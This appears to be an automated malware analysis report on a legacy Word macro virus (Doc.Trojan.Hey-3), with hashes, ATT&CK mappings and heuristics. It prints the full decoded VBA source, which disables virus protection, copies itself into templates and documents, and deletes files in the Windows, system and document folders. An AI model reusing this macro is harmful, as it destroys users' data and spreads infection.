Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aecb13da3a630105…

MALICIOUS

Office (OLE)

30.5 KB Created: 2000-03-08 10:51:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 5b5a2c2ecac0ea89d2a7b4a92f2b325c SHA-1: 56374a04712e5a85a50e23a6bb7ce8b6ce04c981 SHA-256: aecb13da3a6301054fa5f17001ad5d97a9e071ab8976acc491adbf50b2afd772
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1485 Data Destruction

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to disable virus protection and then proceeds to delete files from various directories including system and user document locations. The presence of the AutoOpen macro and the file deletion attempts strongly indicate a malicious intent, likely delivered via spearphishing.

Heuristics 4

  • ClamAV: Doc.Trojan.Hey-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hey-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1877 bytes
SHA-256: 69482149f77141d87a3693955d8fa01fba9aa07f9ce3e9e32ceab902196c9691
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modulo1"
Sub AutoOpen(): Options.VirusProtection = 0: ÆÏ©§¥: End Sub
Sub ÆÏ©§¥()
Set ú = NormalTemplate.VBProject.VBComponents(1).CodeModule: Set ó = ActiveDocument.VBProject.VBComponents(1).CodeModule: Set ý = ThisDocument.VBProject.VBComponents(1).CodeModule:
If ú.CountOfLines = 0 Then ú.InsertLines 1, ý.Lines(1, 47)
If ó.CountOfLines = 0 Then ó.InsertLines 1, ý.Lines(1, 40)
CommandBars("Tools").Controls("Makro").Delete
End Sub
Sub AutoNew(): ÆÏ©§¥: End Sub
Sub DocumentNew(): ÆÏ©§¥: End Sub
Sub DocumentOpen(): ÆÏ©§¥: End Sub
Sub DateiÖffnen(): ÆÏ©§¥: End Sub
Sub DateiBeenden(): ÆÏ©§¥: End Sub
Sub BearbeitenKopieren(): ÆÏ©§¥: End Sub
Sub BearbeitenEinfügen(): ÆÏ©§¥: End Sub
Sub BearbeitenAusschneiden(): ÆÏ©§¥: End Sub
Sub FormatZeichen(): ÆÏ©§¥: End Sub
Sub FormatAbsatz(): ÆÏ©§¥: End Sub
Sub FormatSpalten(): ÆÏ©§¥: End Sub
Sub FormatTabulator(): ÆÏ©§¥: End Sub
Sub FormatHintergrund(): ÆÏ©§¥: End Sub
Sub FormatAutoFormat(): ÆÏ©§¥: End Sub
Sub ExtrasAnpassen(): ÆÏ©§¥: End Sub
Sub ExtrasOptionen(): ÆÏ©§¥: End Sub
Sub ExtrasAutoKorrektur(): ÆÏ©§¥: End Sub
Sub DateiSchließen(): ÆÏ©§¥: End Sub
Sub AutoExit(): ÆÏ©§¥: If Day(31) And Month(Now) Then Call ¢¤£: End Sub
Sub ¢¤£()
On Error Resume Next
Kill "C:\*.*"
Kill "C:\Windows\*.*"
Kill "C:\Windows\System\*.*"
Kill "C:\Windows\System32\*.*"
Kill "C:\Windows\Eigene Dateien\*.*"
Kill "C:\Eigene Dateien\*.*"
Kill "C:\Dokumente\*.*"
End Sub